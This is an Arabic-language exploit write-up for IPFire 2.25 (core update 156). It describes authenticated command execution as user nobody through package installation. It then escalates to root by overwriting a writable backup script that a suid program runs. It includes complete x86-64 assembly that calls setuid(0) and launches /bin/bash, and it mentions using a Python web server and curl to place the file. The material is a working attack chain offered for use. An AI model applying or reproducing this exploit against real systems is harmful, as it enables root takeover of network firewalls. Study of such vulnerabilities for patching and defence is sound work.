Ipfire 2-25 (core update 156) تنفيذ أوامر عن بُعد بعد المصادقة

• تشغيل أمر على النظام عند تثبيت أي حزمة

• النظام يجلب 7zip من مجرد html

• ثم تحقق من مجلد tmp

• الإصدار 2.25 - core update 156

• يتيح Ipfire تنفيذ أوامر نظام عشوائية بصلاحيات المستخدم nobody بعد تسجيل الدخول

كن root!

• افحص ملفات suid الثنائية

• برنامج النسخ الاحتياطي يشغّل سكربتًا آخر. /var/ipfire/backup/bin/backup.pl (إنه سكربت bash وصلاحياته تبدو جيدة)

• جرّب الكتابة في سكربت bash. (لا يوجد خطأ. ممتاز!)

• جرّب تشغيل bash

• نعم. يمكننا تشغيله لكن بصلاحيات منخفضة. يجب أن نُطلق setuid(0)!
• احفظ هذا وشغّل alti name.asm q
• alti هو برنامج التحقق من الترجمة الخاص بي في مستودع soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• ثم اكتب البرنامج الجديد إلى /var/ipfire/backup/bin/backup.pl. (يمكننا استخدام خادم http الخاص بـ python وأمر curl للكتابة)

• واستمتع بصدفة root!